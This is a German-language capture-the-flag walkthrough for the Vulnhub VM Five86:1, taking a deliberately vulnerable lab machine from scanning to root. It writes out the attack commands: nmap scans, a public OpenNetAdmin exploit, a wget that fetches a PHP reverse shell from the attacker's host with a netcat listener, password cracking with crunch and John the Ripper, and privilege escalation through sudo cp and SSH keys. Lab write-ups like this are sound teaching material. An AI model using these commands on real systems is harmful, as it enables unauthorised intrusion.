Five86:1 – Vulnhub

VM: Five86: 1
Quelle: www.vulnhub.com
Ziel: bekommen der Root Rechte.
Tools: NMAP, netcat, crunch, John the Ripper,
Techniken: Netzwerk & Port Scan, Enumeration, Bug using, Reverse Shell

Schritt 1: Scanning

Voraussetzungen: VM ist gestartet, eine IP wurde durch DHCP zugewiesen.

Nachdem die VM gestartet und geladen wurde, müssen wir die IP von der VM ermitteln. Dabei hilft uns das Tool NMAP welches beim Kali Linux schon vorinstalliert ist. Falls auf deinem System kein NMAP installiert ist, kannst du es aus Repositorien oder von der Seite des Entwicklers herunterladen und installieren.

Mit dem Befehl nmap -PE -sn -oG - 192.168.178.1/24 scannen wir unser Netzwerk auf aktive Geräte, die auf ein Ping antworten. Als Netzwerkadresse muss du dein Netzwerkbereich eingeben.

Five86:1 - IPScan

Bei mir wurde der VM die IP 192.168.178.86 (rot markiert) zugewiesen.

Nachdem wir die IP von der VM ermittelt haben, können wir einen Port-Scan durchführen. Mit einem Port-Scan kann ermittelt werden welche Dienste auf der VM laufen. Das machen wir mit dem gleichen Tool nur mit anderem Parameter. nmap -p- -A 192.168.178.86 gibt uns alle offene Ports aus, die auf ein TCP Verbindungsversuch antworten.

Five86:1 - PortScan

Wie auf dem Bild zu sehen ist, wurden drei offene Ports ermittelt:

PortService
22SSH
80HTTP
10000HTTP

Schritt 2: Enumeration

Port 22 – SSH Server

Zu diesem Zeitpunkt können wir hier keine nützliche Information gewinnen.

Port 80 – HTTP Server

Aus den Ergebnissen von dem NMAP Scan können wir sehen, dass es die robots.txt Datei und ein /ona Verzeichnis vorhanden sind.

Dabei zeigt uns der Inhalt der robots.txt wiederrum auf den /ona Verzeichnis.

User-agent: *
Disallow: /ona

Als index.html wird uns eine leere Seite geliefert.

Beim Aufruf des /ona Verzeichnisses finden wir eine OpenNetAdmin Installation. Zum Einloggen kann man mit dem ersten Versuch erratene (admin:admin) Zugangsdaten benutzen. Beim Oberflächlichem untersuchen wurde keine Möglichkeiten zum Hochladen von irgendwelchen Dateien gefunden. Da wir die Version des Programms kennen, werfen wir ein Blick auf die www.exploit-de.com. Hier finden wir 2 vorhanden Exploits die für diese Version des Programms existieren.

Five86:1 - ExploitDB

Port 1000 – HTTP Server

Hier finden wir eine Webmin Installation. Da es nur eine Login Aufforderung existiert, kann man hier nicht viel Informationen gewinnen.

Schritt 3: Infiltration

Laden wir uns das zweite Skript herunter. Wenn wir ein Blick in das Skript werfen, sehen wir das beim Starten des Skripts als Parameter die URL der OpenNetAdmin Installation angegeben werden muss.

Five86:1 Exploit usage

Dabei erhalten wir eine Shell auf dem Server und können nach weiteren Möglichkeiten für die vollständige Übernahme der Kontrolle suchen.

Leider müssen wir schon beim ersten Schritt feststellen, dass wir uns nicht aus dem Verzeichnis bewegen können. Versuchen das mit eine Reverse Shell umzugehen. Dafür laden wir unsere schon öfters benutze Datei rshell.php nach /tmp.

wget 192.168.178.100:8000/rshell.php -O /tmp/rshell.php
php /tmp/rshell.php

Five6:1 Reverse Shell

Damit die Verbindung aufgebaut werden kann, starten wir auf unserem Host netcat welches auf eine eingehende Verbindung wartet:

nc -lvp 8888

Five86:1 Exploration

Wie man auf dem Bild oben sehen kann, unter /var/www/ befindet sich die Datei .htpasswd in welcher wir Informationen zu einem Benutzer finden und ein Hinweis zum Passwort.

Schritt 4: Brute Force

Wie in dem Hinweis zu sehen ist, besteht das Passwort aus den Buchstaben „aefhrt“ und ist 10 Zeichen lang. Damit können wir ein Wörterbuch generieren, in welchem alle möglichen Kombinationen aus den bekannten Buchstaben vorkommen und 10 Zeichen lang sind.

crunch 10 10 aefhrt > pass.txt

Die Zeile mit dem Benutzer und dem Passworthash speichern wir in dem selbem Verzeichnis unter Dateinamen pass.

Zum Brute Forcen nutzen wir schon bekanntes Tool John the Ripper.

john --wordlist=pass.txt pass
john --show pass

Five86:1 Brute Force

Mit den gefundenen Zugangsdaten können wir jetzt eine SSH Session aufbauen.

Schritt 5: Exploration

Nachdem Login per SSH mit dem Benutzer douglas prüfen wir zuerst ob wir irgendwelche Befehle mit erhöhten Rechten ausführen können.

sudo -l

Five86:1 SSH Login

So wie es aussieht, können wir den cp Befehl als Benutzer jen ausführen. Nach weiteren Recherchen wurden unter ~/.ssh ein Paar von SSH-Keys gefunden. Das können wir doch ausnutzen. Dazu müssen wir den ~/.ssh/id_rsa.pub nach /home/jen/.ssh/authorized_keys kopieren. Leider ist ein direktes Kopieren nicht möglich, da wir als Benutzer jen nicht aus dem home Verzeichnis von dem Benutzer douglas lesen können. Dazu machen wir einfach einen Umweg über /tmp.

cpid_rsa.pub /tmp
sudo -u jen /bin/cp /tmp/id_rsa.pub /home/jen/.ssh/authorized_keys

Five86:1 SSH Keys

Jetzt kopieren wir den Inhalt von id_rsa auf unseren lokalen Rechner und speichern es als privatekey ab. Jetzt können wir uns als Benutzer jen einloggen.

ssh -i privatekey jen@192.168.178.86

Five86:1 Jen Mail

Beim Einloggen fällt direkt auf, dass es eine ungelesene E-Mail existiert. Lesen wir es direkt. Aus der E-Mail können wir weitere Zugangsdaten für den Benutzer moss. Probieren wir es direkt aus.

fFve86:1 User Moss

Nach dem Einloggen als Benutzer moss finden wir in seinem home Verzeichnis ein verstecktes .games Verzeichnis. Beim Auflisten des Inhalts sehen wir, dass die meisten Speile nur Verlinkungen sind, und nur upyourgame in dem Verzeichnis selbst liegt. Außerdem ist der Dateibesitzer root, aber wir können es ausführen. Spielen wir doch eine Runde.

Five86:1 Final

Nachdem wir das Spiel bis zum Ende gespielt haben, landen wir in einer Session mit root rechten. Jetzt können wir alles machen und das Ziel ist erreicht.